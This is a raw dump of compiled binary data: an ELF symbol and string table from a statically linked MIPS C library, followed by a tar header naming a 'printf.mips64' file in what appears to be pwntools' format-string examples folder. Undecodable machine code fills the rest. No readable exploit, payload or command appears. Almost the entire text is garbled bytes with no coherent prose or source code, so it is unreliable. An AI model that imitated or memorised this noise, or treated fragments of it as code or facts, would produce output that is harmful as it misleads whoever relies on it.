from_tbltranslit_to_idxtranslit_to_tblsetenv.oenvlocklast_environknown_valuesvfprintf.oread_intgroup_number_i18n_number_rewrite_IO_helper_overflowprintf_positional__PRETTY_FUNCTION__.12128jump_tablestep4_jumps.12132nullstep0_jumps.11901step4_jumps.11937buffered_vfprintfstep2_jumps.11933step1_jumps.11932step3b_jumps.11936step3a_jumps.11934__PRETTY_FUNCTION__.11897_IO_helper_jumpsprintf_fp.ohack_digit__guess_grouping.part.0reg-printf.oprintf_fphex.o__PRETTY_FUNCTION__.12620reg-modifier.onext_bitreg-type.opa_next_typevfwprintf.o__PRETTY_FUNCTION__.12152step4_jumps.12156step0_jumps.11927step4_jumps.11963step3b_jumps.11962step3a_jumps.11960step2_jumps.11959step1_jumps.11958__PRETTY_FUNCTION__.11923vfscanf.ochar_buffer_add_slow__PRETTY_FUNCTION__.12314printf-parsemb.oprintf-parsewc.oiopadn.ozeroesblanksiowpadn.owgenops.osave_for_wbackup.isra.0iofwide.odo_encodingdo_always_noconvdo_max_lengthdo_indo_unshiftdo_outdo_length__PRETTY_FUNCTION__.12126memmem.ombrlen.ombrtowc.o__PRETTY_FUNCTION__.8674wcrtomb.o__PRETTY_FUNCTION__.8670wcsrtombs.oopendir.oopendir_taildl-load.ofpabi_stringis_dstis_trusted_path_normalizesystem_dirs_lensystem_dirsadd_name_to_object.isra.3__PRETTY_FUNCTION__.9539lose.isra.4_dl_map_object_from_fd.constprop.9__PRETTY_FUNCTION__.9251__PRETTY_FUNCTION__.9672add_path.isra.2.constprop.11elf_machine_reject_phdr_preqsopen_verify.isra.6.constprop.10expected.9721expected_note.9727expected2.9720open_path.isra.7max_dirnamelenmax_capstrlenncapstrrtld_search_dirsenv_path_listexpand_dynamic_string_token__PRETTY_FUNCTION__.9526fillin_rpathcache_rpath.part.8__PRETTY_FUNCTION__.9618dummy_bucket.9822__PRETTY_FUNCTION__.9804dl-lookup.ocheck_match__PRETTY_FUNCTION__.9532do_lookup_x__PRETTY_FUNCTION__.9758__PRETTY_FUNCTION__.9786dl-reloc.oerrstring.9463msg.9469dl-hwcaps.o__PRETTY_FUNCTION__.8929dl-misc.o_dl_debug_vdprintf__PRETTY_FUNCTION__.9213primes.9263dl-profile.orunninglowpctextsizelog_hashfractionfromlimitnarcsptosfromidxfromsnarcsdl-origin.o__PRETTY_FUNCTION__.8926dl-trampoline.o__dl_runtime_resolvedl-exception.olength_mismatch_dl_out_of_memorydl-cache.ocachesizecache_newdl-libc.odo_dlopendo_dlsymdo_dlvsymdo_dlclosefree_slotinfodo_dlsym_privatedl-error.ofatal_errorcatch_hookC-monetary.onot_availableconversion_rateC-collate.ocollseqmbcollseqwc__longjmp.o____longjmpstrtof_l.ostr_to_mpn.isra.0__PRETTY_FUNCTION__.10415round_awayround_and_return__PRETTY_FUNCTION__.10465nbits.10553strtod_l.o__PRETTY_FUNCTION__.10410__PRETTY_FUNCTION__.10460nbits.10548sdlinfo.odlinfo_doitsdlmopen.odlmopen_doitstrerror.oprofil.o__profil_counterpc_offsetpc_scalensamplesotimer.7184oact.7183dl-runtime.o__PRETTY_FUNCTION__.9411__PRETTY_FUNCTION__.9479dl-open.oadd_to_global__PRETTY_FUNCTION__.10450dl_open_worker__PRETTY_FUNCTION__.10528__PRETTY_FUNCTION__.10468dl-close.oremove_slotinfo__PRETTY_FUNCTION__.10401dl_close_state.10414__PRETTY_FUNCTION__.10428dl-static.ovariablessdlopen.odlopen_doitsdlclose.odlclose_doitsdlsym.odlsym_doitsdlvsym.odlvsym_doitdl-deps.o_dl_build_local_scopeopenaux__PRETTY_FUNCTION__.9107dl-init.ocall_init.part.0dl-version.o__PRETTY_FUNCTION__.7716__PRETTY_FUNCTION__.7694dl-sym.ocall_dl_lookupdo_symunwind-dw2.oread_encoded_value_with_basebase_of_encoded_valueexecute_cfa_programinit_dwarf_reg_size_tableuw_frame_state_forexecute_stack_opuw_update_context_1uw_init_context_1once_regsizes.8978uw_update_context_Unwind_RaiseException_Phase2_Unwind_ForcedUnwind_Phase2uw_install_context_1_Unwind_DebugHookunwind-dw2-fde-dip.oframe_downheapframe_heapsortget_cie_encodingfde_unencoded_comparesize_of_encoded_value.part.3base_from_object.isra.4.part.5base_from_cb_data.isra.6.part.7fde_single_encoding_comparelinear_search_fdesfde_mixed_encoding_compareclassify_object_over_fdesadd_fdessearch_objectterminator.8790marker.8684_Unwind_IteratePhdrCallbackadds.8946subs.8947frame_hdr_cacheframe_hdr_cache_head__register_frame_info_bases.part.8object_mutexunseen_objectsany_objects_registeredunwind-c.o_nl_C_LC_CTYPE_Unwind_Find_FDE_Unwind_GetIPInfo__ehdr_start__divdi3_nl_C_LC_NAME_Unwind_GetRegionStart_gpperror__fini_array_end_nl_C_LC_ADDRESS__udivdi3__sigsetjmp__stpcpy__deregister_frame_info_Unwind_Resume_nl_current_LC_CTYPE_nl_C_LC_MONETARY__deregister_frame_info_bases__libc_errno_nl_C_LC_COLLATEmemcmp_nl_current_LC_NUMERIC_Unwind_RaiseException__dlopen_nl_C_LC_TIME__fini_array_start_Unwind_SetIP__init_array_end__register_frame_info_table_bases_nl_C_LC_MEASUREMENT_nl_C_LC_TELEPHONE__mempcpy_Unwind_GetTextRelBase__preinit_array_end_Unwind_GetLanguageSpecificData_nl_C_LC_NUMERIC_dl_fixup__errno_location_Unwind_SetGR_nl_C_LC_MESSAGES__init_array_start__moddi3_Unwind_GetDataRelBase__preinit_array_start_nl_current_LC_MONETARY_nl_C_LC_PAPER__register_frame_info_nl_C_LC_IDENTIFICATION__dup__stack_chk_fail_local__isoc99_scanf_nl_C_LC_CTYPE_class_print__morecore_dl_runtime_pltresolve__getdtablesize_IO_remove_marker__libc_sigactionstrcpy_IO_wdefault_xsgetn_dl_vsym_dl_setup_hash_IO_link_in__malloc_hook_dl_debug_printfgsignal_IO_sputbackc_nl_C_LC_CTYPE_class_upper_IO_default_finish_dl_check_map_versions__gconv_transform_utf8_internal__default_morecore__libc_argc_IO_file_finish_nl_C_LC_CTYPE_width__fxprintf_nocancel_nl_unload_domain__dlinfo_Unwind_GetIP__mpn_impn_mul_n_basecase_IO_wdoallocbuf__getpid__register_printf_modifier_IO_list_lock__strtod_internal_fdata_nl_load_domain_IO_default_doallocate__libc_multiple_libcs__new_getrlimit__strtoull_l_wordcopy_fwd_aligned_dl_important_hwcaps___xstat64_IO_new_file_xsputn_dl_reloc_bad_type_IO_least_wmarker_IO_default_sync__register_frame_IO_file_sync__strtoull_internal__mpn_impn_sqr_n_basecase_IO_seekwmark_IO_fflush_IO_wfile_jumps_nl_C_LC_CTYPE_class_xdigit_IO_file_write_dl_find_dso_for_objectstrerror__init_misc__gconv_transform_ascii_internal__mpn_sub_n__wcsmbs_clone_conv__getdents_dl_profile_output__mpn_cmp__mbrlen__mpn_addmul_1__strnlen__gconv__gconv_transform_ucs2_internal__printf_modifier_table__tcgetattrstrtof32_dl_new_object_Unwind_Resume_or_Rethrow__calloc_dl_make_stack_executable_IO_default_xsgetn__strtok_r_dl_exception_create__libc_stack_end_IO_enable_locksfileno_unlocked_nl_default_locale_path__stack_chk_guard__gconv_get_path__register_printf_specifier_dl_debug_fd__tsearch_IO_vasprintf____strtol_l_internal_IO_file_seekoff_mmap__libc_fcntl__gettext_free_exp_dl_load_cache_lookup_nl_current_LC_NUMERIC_used__write__gettext_extract_plural_IO_sgetn__mmap__mprotect_dl_use_load_bias_nl_domain_bindings_dl_catch_exception__gconv_path_envvar__dprintf__add_to_environ_dl_initial_searchlist_IO_file_seek__parse_one_specwc_itoa_wordstrtold__new_fdopen__tdestroy__rawmemchr_dl_profile_fixup__getcwd__mips_syscall6_dl_mips_gnu_objects_Unwind_Backtrace__mbsrtowcs_l_IO_init_marker__strtol_internal_nl_category_name_idxsc32rtomb__woverflow_IO_2_1_stdout___register_printf_function__mpn_mul_n_IO_new_file_init__strtold_l__libc_openat__gconv_lookup_cache_dl_higher_prime_number__openat64_nl_C_LC_CTYPE_class_cntrlqsort__posix_memalign_IO_flush_all_linebufferedstrtof32_l_IO_fclose__strtoll_internal__gconv_modules_db_nl_expand_alias_IO_wdo_write__getdelim__read__wcschrnul_dl_strtoul_IO_default_underflow_IO_funlockfile_dl_init__gconv_load_cache__mallinfo__gconv_transform_ucs4le_internal_dl_platformlen_dl_tls_static_used_IO_switch_to_wget_mode__realloc_hook_Unwind_GetCFA__exit_funcs__gettextparse_IO_default_xsputn__mpn_lshift__TMC_END___nl_load_locale___printf_fp_IO_fwrite_IO_default_setbuf_IO_sungetc_dl_try_allocate_static_tls__dlsym__gconv_get_cache_dl_addr_inside_object_IO_new_fdopen_IO_fwide__gconv_find_shlib_nl_unload_locale__DTOR_END___IO_new_file_close_it_dl_debug_mask_IO_wfile_overflow__libc_memalign__libc_scratch_buffer_set_array_size__libc_dlsym_private__overflow__btowc__mpn_mul__strtol_ul_max_tab_dl_non_dynamic_init__internal_atexit__memalign__mpn_submul_1_IO_file_close__malloc_trim__dladdr_nl_current_default_domain_nl_msg_cat_cntr__open__strtod_nan_IO_unsave_markers_nl_C_LC_CTYPE_class____strtof_l_internal_dl_load_adds__gettext_germanic_plural__wcsmbs_getfct_IO_2_1_stdin___gconv_transform_internal_ucs4__get_child_max_dl_protect_relro__strerror_r__wcsmbs_load_conv__stop___libc_IO_vtables__mpn_impn_sqr_n_dl_wait_lookup_done_dl_mcount_wrapper_dl_deallocate_tls_nl_C_LC_CTYPE_class_graph__mpn_impn_mul_n__current_locale_name_nl_C_LC_CTYPE_tolower_dl_profile__dso_handle__mpn_construct_float__strsep__new_exitfn__libc_alloca_cutoff_IO_switch_to_main_wget_area_dl_tunable_set_trim_threshold__dcgettext__libc_csu_fini_nl_current_LC_CTYPE_used_IO_str_init_readonly_IO_file_seekoff_dl_discover_osversion_dl_signal_exception__libc_init_secure_dl_count_modids__exit_funcs_lock_dl_nothread_init_static_tls__frame_state_for__tunable_get_val_IO_adjust_wcolumn__tunables_init__strtoul_internal_IO_str_seekoff__ctype_init__getgid___brk_addr__lseek64_IO_file_setbuf_IO_new_file_fopen__libc_mallinfo_IO_new_fopen__gconv_btwoc_ascii_IO_fdopen__wcslen_IO_default_write__libc_read__fxprintf__mips_syscall5__libc_disable_asynccancel__gconv_find_transform_IO_file_close_mmap_dl_allocate_tls_storage__umoddi3__libc_realloc_dl_tunable_set_mmap_threshold__libc_tsd_CTYPE_TOLOWER__gconv_transform_ucs2reverse_internal_dl_tls_static_align_dl_scope_free__environ_Exit_nl_intern_locale_data_dl_lookup_symbol_x__strtoll_nl_cleanup_ctype_dl_tls_max_dtv_idx_nl_C_LC_CTYPE_map_toupper_nl_C_LC_CTYPE_class_punct__libc_setlocale_lock__sigjmp_save__stack_chk_fail_dl_close_dl_static_dtv_dl_bind_not__libc_enable_secure_IO_wpadn_nl_postload_ctype_dl_static_init_IO_fputs__gconv_transform_ucs4_internal__open_nocancel_dl_auxv__libc_dlvsym_nl_C_LC_CTYPE_class_digit_IO_str_pbackfail_IO_wfile_xsputn__gconv_max_path_elem_len_IO_default_imbue__mpn_divremstrtoqmbrtoc32__libc_lseek64__dlmopen__tls_get_addr_nl_find_domain_IO_default_read__register_frame_table_IO_file_close_it__sys_nerr_internal_sys_nerr_dl_platform_itowa_IO_iter_begin____strtod_l_internal_nl_C_LC_CTYPE_class32_dl_get_tls_static_infostrrchr__strtol__ctype_tolower_loc__libc_check_standard_fds__after_morecore_hook__mpn_construct_double__start___libc_atexit__setitimer__libc_enable_secure_decided_dl_exception_free_IO_file_stat_dl_start__strtold_internal__register_frame_info_bases_IO_wfile_sync__libc_pvalloc__strtoll_lstrtod_IO_vfscanf_internalrindex__readonly_area__tunable_set_val__guess_grouping__libc_valloc__strtod_l_nl_C_LC_CTYPE_map_tolower_nl_locale_subfreeres__dcigettext_dl_add_to_namespace_list_IO_str_jumps_IO_str_finish_nl_normalize_codeset__exit_funcs_done_dl_tls_static_size_dl_debug_printf_c_IO_default_showmanyc__get_nprocs__isatty__fortify_fail_abort_nl_state_lock__profile_frequency_dl_lazy_dl_debug_state__gconv_transform_internal_ascii__mmap64__printf_fp_l_IO_str_overflow__malloc__openat64_nocancel_dl_init_paths__malloc_fork_lock_parent__start_IO_file_xsgetn_IO_cleanup__hash_string_dl_argv_IO_default_seekpos__gconv_open__free__dlclose_Unwind_DeleteException__fpu_control__gconv_transform_internal_ucs2__getrlimit_IO_new_do_write__strtol_ull_max_tab__readdir64_IO_file_underflow____strtold_l_internal__gconv_release_shlib__read_nocancel_nl_make_l10nflist__fopen_internal_IO_no_init__strchrnul__libc_register_dl_open_hook_tens_in_limb_IO_padn_IO_file_overflow_IO_getline_info__parse_one_specmb__readdir___fxstat64_itoa_IO_str_init_static_IO_stdout_dl_dst_substitute_fpioconst_pow10_dl_tls_dtv_slotinfo_list_dl_tunable_set_tcache_unsorted_limit_dl_allocate_tls_init__gconv_close__wcrtomb_ftext__progname_dl_sysinfo_map__stop___libc_atexit_IO_flush_allstrstr_IO_new_fclose_IO_iter_file_IO_flush_all_lockp_IO_adjust_column__correctly_grouped_prefixmb__libc_init_first_IO_vtable_check_dl_inhibit_cache__mpn_extract_doublestrncmp_dl_tunable_set_top_pad_IO_fprintf_nl_explode_name_IO_vfwprintf_IO_wdefault_doallocate__run_exit_handlers__libc_malloc_dl_tunable_set_perturb_byte__malloc_fork_unlock_child_IO_marker_delta__libc_free_IO_file_underflow_mmap_IO_sungetwcprogram_invocation_short_name_wordcopy_bwd_dest_aligned__opendir_IO_str_count__printf_arginfo_table_dl_open_IO_file_underflow_maybe_mmap__fileno__pvalloc_nl_C_LC_CTYPE_class_space__getegid_IO_wfile_jumps_maybe_mmap_dl_check_all_versions_dl_debug_initialize__argz_create_sep__strdup_dl_tls_dtv_gaps__gconv_alias_compare__cxa_atexit__wmemmove_IO_file_xsputn__brk__start___libc_IO_vtables_nl_C_IO_wmarker_delta_dl_hwcap2__libc_mallopt_IO_default_stat_IO_new_file_sync_IO_file_jumps_maybe_mmap__profil__mpn_add_n_dl_tunable_set_mmaps_max____strtoul_l_internal_nl_C_LC_CTYPE_toupper__sched_yield__strcasecmp_l_itowa_lower_digits_IO_marker_difference_dl_get_origin_dl_phdr_IO_free_wbackup_area__libc_malloc_initialized_dl_name_match_p_nl_remove_locale__getpagesize_itoa_base_table__mbrtowc__syscall_error_IO_free_backup_area___lxstat64_IO_file_init_itoa_lower_digits__libc_close_nl_C_locobj__underflow__gconv_get_builtin_trans_dl_nns__fxstatat64__rewinddir__libc_csu_init_dl_random__abort_msg_dl_scope_free_list__get_nprocs_conf__gconv_release_step__bss_start__libc_open_IO_wdefault_xsputn__gconv_transform_internal_utf8_IO_default_uflow__wmempcpy__strtol_l_dl_start_profile_dl_origin_path__wcsnlen__malloc_info__wcsmbs_gconv_fcts_c_nl_current_LC_MONETARY_used_sys_errlist_IO_new_file_finish_dl_tls_generation__gconv_lock_IO_new_file_attach__fortify_fail_dl_clktck_dl_cache_libcmp_dl_relocate_object_dl_dynamic_weak_IO_vfprintf_internaltime__wunderflow_dl_tunable_set_tcache_max__uflow_dl_dst_count__assert_fail_dl_mips_platforms_nl_C_name_IO_least_marker_nl_find_msg_IO_switch_to_wbackup_area_IO_list_resetlock__fgets_unlocked_dl_tunable_set_mallopt_check_dl_call_pltexit__memmem__dlvsymllseek__lseek_nl_default_dirname_nl_POSIX_name__twalk_IO_getline_dl_allocate_static_tlsstrcmp_IO_wdefault_uflow__mpn_rshift__gconv_get_alias_db__libc_scratch_buffer_grow_preserve_nl_find_locale__memchr__malloc_check_init__mbsrtowcs__printf_function_table__fopen_maybe_mmap_dl_rtld_di_serinfo__libc_openat64_dl_sysinfo_dso__wmemset__libc_enable_asynccancel_nl_C_LC_CTYPE_class_alnum__deregister_frame_IO_setb__dl_iterate_phdr__register_printf_type_IO_file_fopen_dl_sort_maps__write_nocancel__dladdr1__qsort_r_dl_unload_cachestrtof32x_l____strtoll_l_internal_IO_new_file_setbuf_IO_wfile_seekoffstrtof_IO_wfile_underflow__madvise__wcsrtombs_IO_file_doallocatestrcspn_wordcopy_fwd_dest_aligned__gconv_compare_alias_cache_libc_intl_domainname__gconv_path_elem__tens_IO_init_wmarkersetlocale__libc_tsd_CTYPE_B__getclktck_IO_file_read_nl_C_LC_CTYPE_class_blank__libc_setup_tls_IO_file_jumps___asprintf__strtof_l_dl_tunable_set_tcache_count__close_nocancel_dl_init_static_tls__new_exitfn_called__fcntl_nocancel_Unwind_FindEnclosingFunction__strsep_g_IO_str_init_static_internal_nl_finddomain_subfreeres__wctrans_dl_stack_flags_nl_category_name_sizes_dl_mcount__libc_lseek_dl_next_tls_modid_fitoa__handle_registered_modifier_mb_IO_fopen_IO_wdefault_finish_dl_mcount_wrapper_check_IO_new_file_write_IO_stderr__ctype_b_loc__mremap__printf_fphex__strndup_dl_init_all_dirs_dl_allocate_tls_dl_tls_static_nelem__gconv_get_modules_db__uname_IO_sputbackwc__opendirat__gconv_read_conf__libc_dlclose__gconv_close_transform_dl_tls_get_addr_soft_IO_file_attach_dl_tunable_set_arena_max__libc_secure_getenv_IO_unsave_wmarkers_IO_file_open_dl_map_object_nl_archive_subfreeres__libc_tsd_LOCALE_IO_list_unlock__close__mpn_mul_1__getuid_itoa_upper_digits_Unwind_ForcedUnwind_edata_dl_load_lock_IO_switch_to_get_mode_GLOBAL_OFFSET_TABLE__IO_vfscanf_IO_do_write_fitoa_word__fdopendirstrtof64_l__strtof_internalstrtof64_nl_locale_file_list_IO_getdelim__gconv_release_cachestrtouq__new_fclose_dl_fpu_control__wuflow__sysconf__sigaction__libc_calloc__curbrk__gconv_compare_alias__vfwprintf__tfind_nl_global_locale__strtof_nan_dl_verbose_IO_default_seekoff_dl_dprintf__strncasecmp_l_IO_doallocbuf_dl_signal_error_dl_phnum_flushlbf_dl_exception_create_format__stack_prot__strtol_ul_rem_tab__libio_codecvt__closedir__libc_message_dl_profile_map_IO_switch_to_backup_area__dlerror__free_hook__gconv_transform_internal_ucs4le_IO_new_file_init_internal____strtoull_l_internal__munmap__libc_tsd_CTYPE_TOUPPER__malloc_usable_size__gconv_transliterate__openat__strtoul_l_IO_stdin_IO_wsetb_IO_wfile_jumps_mmapDW.ref.__gcc_personality_v0__fprintf_IO_vfprintf__wcsmbs_named_conv__strtoull_dl_aux_init_dl_hwcapstrtof32x_itowa_upper_digits_IO_wfile_doallocate__assert_fail_base_nl_category_names_nl_C_codeset_dl_initfirst__setfpucw_IO_str_underflow__sigprocmask_setjmp__ctype_toupper_loc__funlockfile_IO_stdin_used_exit_dl_load_write_lock__strtol_ull_rem_tab__sigsetjmp_aux__alloc_dirstrspn__getdents64_Unwind_GetGR_nl_default_default_domain__libc_argv__libc_start_main__lll_lock_wait_private_IO_init_internalprogram_invocation_name__libc_dlsym__malloc_fork_unlock_parent_dl_show_scope__libc_write__fcntl_IO_init__strtoul__gconv_transform_internal_ucs2reverse_nl_C_LC_CTYPE_class_lower_dl_all_dirs__setenv__clearenvstrchr_dl_add_to_slotinfo__realloc__gconv_alias_db_IO_iter_end__mallopt_quicksort_IO_new_file_underflow__data_start_dlerror_run_dl_sym__libc_fatal__get_phys_pages__sbrk_IO_default_seek__tdelete__printf_va_arg_table_r_debug__malloc_stats_IO_wdefault_pbackfail__sys_errlist_internal_dl_osversion_IO_list_all__argz_add_sep_IO_new_file_overflow__libc_dlopen_mode__unsetenv_IO_new_file_seekoff_dl_tunable_set_arena_test___vfscanf_dl_sysdep_read_whole_file__prctl__openat_nocancel_dl_addr__get_avphys_pages__handle_registered_modifier_wc_dl_catch_error_IO_un_link__register_frame_info_table_IO_file_setbuf_mmap_fbss_dl_make_stack_executable_hook_dl_inhibit_rpathaligned_alloc_IO_default_pbackfail_IO_vdprintf__pointer_chk_guard_local_dl_correct_cache_id__sysinfo__new_fopen__wmemcpy_IO_iter_next_dl_close_worker_dl_pagesize__valloc__memalign_hook__geteuid_wordcopy_bwd_aligned_IO_2_1_stderr___progname_full_IO_switch_to_main_get_arearaise_IO_seekmark_nl_C_LC_CTYPE_class_alpha__towctrans_IO_old_init_IO_file_jumps_mmap__libc_register_dlfcn_hook_dl_map_object_deps_dl_ns_nl_load_locale_from_archive.symtab.strtab.shstrtab.note.ABI-tag.MIPS.abiflags.reginfo.note.gnu.build-id.rel.dyn.init.text__libc_freeres_fn__libc_thread_freeres_fn.fini.rodata.eh_frame.gcc_except_table.tdata.tbss.fini_array.ctors.dtors.data.rel.ro.data__libc_subfreeres__libc_IO_vtables__libc_atexit__libc_thread_subfreeres.got.sdata.sbss.bss__libc_freeres_ptrs.comment.pdr.gnu.attributes.mdebug.abi32@44 )p*@XX8p@ppA@$T @]@|||c@'iG**T{G:D:DxG;;DG<<OPHPP/IDDII IIII&II$ J J *J  CJ HJ  OJ UJ  ZJ n0 *w <g|o o o, o,n@#  laL >Gallopsled-pwntools-3ad86ec/examples/fmtstr/printf.mips64000077500000000000000000027104701507273764500237230ustar00rootroot00000000000000ELF 8@ 8@8@$#p       x4 4 4$$    x x x `dtR   J0J0@( 0( 0( 0( 0( 0(< 0( 0( 0(| 0( 0(?| 0( 0( 0( 0( 0( 0( 0( 0(O 0( 0(| 0(?| 0( 0($ 0( 0( 0( 0(| 0( 0( 0(2 0( 0( 0( 0( 0( 0( 0( 0( 0(? 0( 0( 0( 0(< 0(? 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0(  0( 0(0< 0(t 0( 0(t 0(? 0( 0( 0( 0( 0( 0( 0(P 0(D 0(t 0( 0( 0(? 0(t 0( 0(@ 0(2 0(? 0( 0(2 0( 0( 0(< 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0(< 0( 0( 0( 0( 0(? 0( 0(  0(< 0( 0( 0( 0( 0( 0(0 0(? 0(| 0( 0( 0(  0(8 0( 0(| 0( 0( 0( 0( 0(4 0( 0( 0(? 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0(\ 0( 0( 0( 0( 0(r 0( 0( 0(? 0( 0( 0(  0(2 0( 0( 0( 0( 0( 0( 0( 0( 0(? 0( 0( 0( 0( 0( 0( 0({ 0({ 0( 0( 0( 0(? 0( 0( 0(| 0(| 0( 0(? 0(| 0(| 0(| 0( 0(4 0(| 0( 0( 0( 0(| 0(@ 0(H 0( 0( 0( 0(? 0( 0( 0( 0(< 0(< 0( 0( 0( 0(? 0( 0( 0(? 0( 0( 0( 0( 0( 0( 0( 0( 0( 0(< 0( 0(| 0(< 0(| 0( 0( 0(? 0( 0( 0( 0(? 0( 0( 0( 0( 0(| 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0(t 0(4 0(2 0(2 0(2 0( 0( 0( 0( 0( 0( 0(? 0( 0( 0( 0( 0(_ 0( 0( 0(? 0( 0( 0( 0(| 0(| 0( 0( 0( 0( 0( 0( 0( 0( 0( 0( 0(| 0( 0( 0( 0( 0( 0( 0( 0(  0( 0( 0( 0(+ 0( 0( 0( 0( 0( 0(4 0(| 0( 0( 0( 0( 0(? 0(? 0( 0( 0( 0( 0( 0( 0( 0( 0(  0( 0GNUK8HbhT{e]Pt(g< -gK߂@ߙ %< 'K-ߙ %< 'Kd-ߙ ߿߼gg< -gK(߅hߙ$ dߙHv $< y-dcJb@yg9p D&g < -gJߑߙ"H%<@%$$$<(f} P ߙ߄ `d$ߤ#$߿(ߙ ߣߙ<AA$$BAA(%$xEb߄hgߙ(% d5 ߙ(%$߅ߙ$dx5$ߥߙ$x0$%߼ ߱߰g0%%< 'I-%߄ ߥg$$߇(߈0@H%P%ߙ8 < y-dcIPd@bHdDy0  < y-dcId@eHd(/(E(-({yX  g < -gHߓ@(b0@%߂@ߐPdBߑ@/"8f߄@P+d` ߙXdBC-y "8"8P+`dBߙXg98߂`@ߙ`߄h dK`$b0߿(߼ ߲߳߱߰g0g< -gG߂p@߅@߄hߙpd@ dK`ߙX߿߼g99gg< -gG߂%%@r %B,Bߣddߣ d -߃Ȭb߂D߂Jd܂@ߙ ߂C`]߃Xߙ ߂ߙ Dߙ߂߄Chblb߃|B]b߂P@ߙP ߂BdBhClC`%߃@bߙ0%(%@ %߂ߙ Fߥ ߤ ߙ0%(% %߂(B@ߙ0߂ߥF% ߤߙ8(% %ߙ@ %@:ߙ|;d߅`%ܦcߥ߹ߤ ]ߙH@ %%`$8d6 ߇߅߄ߙPd$dde d8e-C߂XDߙ` @'߃hc`@ %߃hd<$cC*@߂P߄ߙp,d ߂C$aA $b %$  %%C+`߃hd߄ߙp,dg< -gDpߙx%$w_%$C߂߿߼߲߱߰g|;C-C$ b߿<"߄߄$d@ߙ0%v# (%P ߙ0%(%u$@ $ 0BCߢ8R߿ $d0g< -gCxߐX<f=%d %%<$߿߼%߰<$g gpx< -gC߂߃B@ph`XPH8@q߃Xdd/C-C + $Eo$dB8DjdB8C +%$8%$$ %%%@%$ߕߙޤ d - - -z}ߥ dBE-^$ߐ-ߧߙ$ >@ %0%(%  'n(fgp$z ߩߨ߄ߙp,dPߢ߅@H-$@dpp߅$߅(߄ޣ߄"dc$߿367(߾߷p߶h߳P߱@ߴX߰8R-b-d$߃ߵ`߼x߲HbgS06D.cH(W `İ-`fb$$$ ߢ`%S`S8fe/`H%%$8%$$ $|;b܃D4b--g0< -g@ (ߕߐ /8%% %%0%`(%@ % f1fߐߕߙ/ %0%`(%@ % f1f߿8߼0ߵ(ߴ ߲߳߱߰g@g < -g?@߂ߐ(P/` dBdq-$f1 f2ߙ ߿(߼ ߲߱߰g0g`< -g>߃߂xcXPH@8h%%%%%(@ߙx(% $߂F@F߂߂hdG`Lߋek`ߙgP%H%`@%@(%g @6߅hߦ ߙd5  %߂ߙ  D߂(ߙCdd$B/D-C$H%$$$@(% %yί$C@%ߥ dDߙ0f5߂8D%A ߙ@ߙH^ߤ ߙPdG`߅ߙ$dt$ߙPߐhf`X%y͜ߙHg < -g<%߅ߙX%߄`dh%$( %ߙh`@%@8% 0%(%p@ %< y-dc<`ypH%@%8%40%g0< -g<0%ߙX$( 8%$$Rg1F(C`9T!U? %`(%$$b -R(CߙXg9F`(%߿8,Q %߼0ߵ(ߴ ߲߳߱߰g@ߒXfRF@%`(%$d#@%$b$@% ߿8@%`(% +@ %@`%R%߿8 %߼0ߵ(ߴ ߲߳߱߰g@@$`(%@%$b,C `߃|Bdcb-B\-@0&.10+.1+.1+0+0/0-ߙx$0ߙx$000&+g܂ < -(g9%@"%d8 @f8ߒ@%d@@%d$@ @%d$@߿("C#߿(߼ ߲߱߰g08܄8g0< -g8ߙX%܄g9F(8 %%C+`߿8ߓ@%$%-f@ %(%`%nidBQ+`f߿8%߼0ߴ(߳ ߲߱߰g@@%g < -g8 ߂%C(0%x@ߙ0W`@(ߙ %߂e@ߙ %@%%PX$tT~h`XC`&#t#80%~-B|"@\$Sr+@X~s0 -=|P"C+@_+@18V!r#H|B8-Dd +@E %  H@ ~s~B`%@@+@o@8C-bv|B&"-~X@iXC԰!PC+@+@(- %  H@ ~Bp+@8%%(xC~ %%߿߾߼߷߶ߵߴ߲߳߱߰g|"|B~B@@%߂% X|(%,|X(-  %@@ft+@0PXHt-zPb-E|M40P/8b-QBX@@8ߔ@S`7߂@ߙ fx;xU-pdBb-3fH`(% %@f߂@ߙ fރ$btނ@9$C4C-B@dCdQeX||"X6@5߂@S`߂߂P|;C-BBS߂@#8߂@ߙ fxp%@%xf-dcC-fdH`(%P`% @P@d8@ߙރߙ f߂߄ߙd@@%B@߂@S$ߙd %ߙdVY %@@%ߙ0%(%j/@ %߂@S$߂@@ % `$$ $@u ߂@߃8Bߒ@0߃@dBPH`h%gpghg`PBF@#Aߙ %(%%H@\V@wHPfb@8dDdBHh-@h`$cߙ$$YPB@gP$܃C$eH@-`Xބ0`H%8%0-(% H$D $$DH`fx- %ߙ[(%@%`]ߙ` %pcP@W@%P߆hf0ߙt-$gp8%dƬ`U@@߅ߙd f#@ %@:߅dUߙ %bd0ߙdC:8/%@0% %iN(%`%@0%$/b@XDdcdߙHP %[*b8 @@b$a (B@j$ $dD$8%$J b($xdBx8@ߙ fS$߂@@ % `$$ $@ ނ@ߙ b$a (B@$ނ dD$8%$J ނߙX %s@%s/dB):8/c%` %߄܇x` %-dedB`E,`p$/@0%%$/C`ddBdV/dc!:8/(%@ %߄܇x-fDdc@d,@J$/ߙ$f % `@$C8@ߙ fߙHZ` %%@%8hBf /D/0Gޅg-$ d(-G$Bb$a (B@;$ނP-:@ !$\s|@$ b$a (B@%@  bdcCdBߙ{dD߂@bdcߙ{dDOނ$N߅ߙdD$dhNCv@ dD$8%$J ނߙ|Agh< -g+p߂p%Bx`XPH@80(-" %@ %$"߂|;%H@ %`%-BߐPߙ ߄ߙ ߄`1ߖ  %% (߄@ߙ d߂X߃@ߙ(dFHdegߐ80v`X߄@ߙ dX@߃0BDc߂8Pz߂@ߑ@߂@&f %`` %@@%c$/b߂HߙP(%q %@@%߅ߙ@0%d8gߙH %Y@% @%߂HߕT- %B%ߑX "-f@@ % @%@߄߂ߗ` %@%bP@@ %@% ߙ`V-dB#:8/ %߃h (%hgp$/%0%`(%dDGg@߅@dXX %HGF EgdB:8/߂%dB`߂x$:C[@[ %$C"dE@  %@  %@ph8%  (%@@%x@%$@0%(% @ %@U@@%$ߙHߙHY3`@ߙ ߄ߙ ߄|;`%Hb-PC@$b@@%C%%߿x߾p߼h߷`߶XߵPߴH߳@߲8߱0߰(g`=ߖ  %% (f$:Ddcfb@߂(`B@ߙp$/_t %@ f(@% %@Af1$|&x@%$@0% (%$CߙH߂xߖ S %% (߂X%`QH(`@ߙ߄ ߙ ߄|;`%Hb-PCߙzdH@ DD 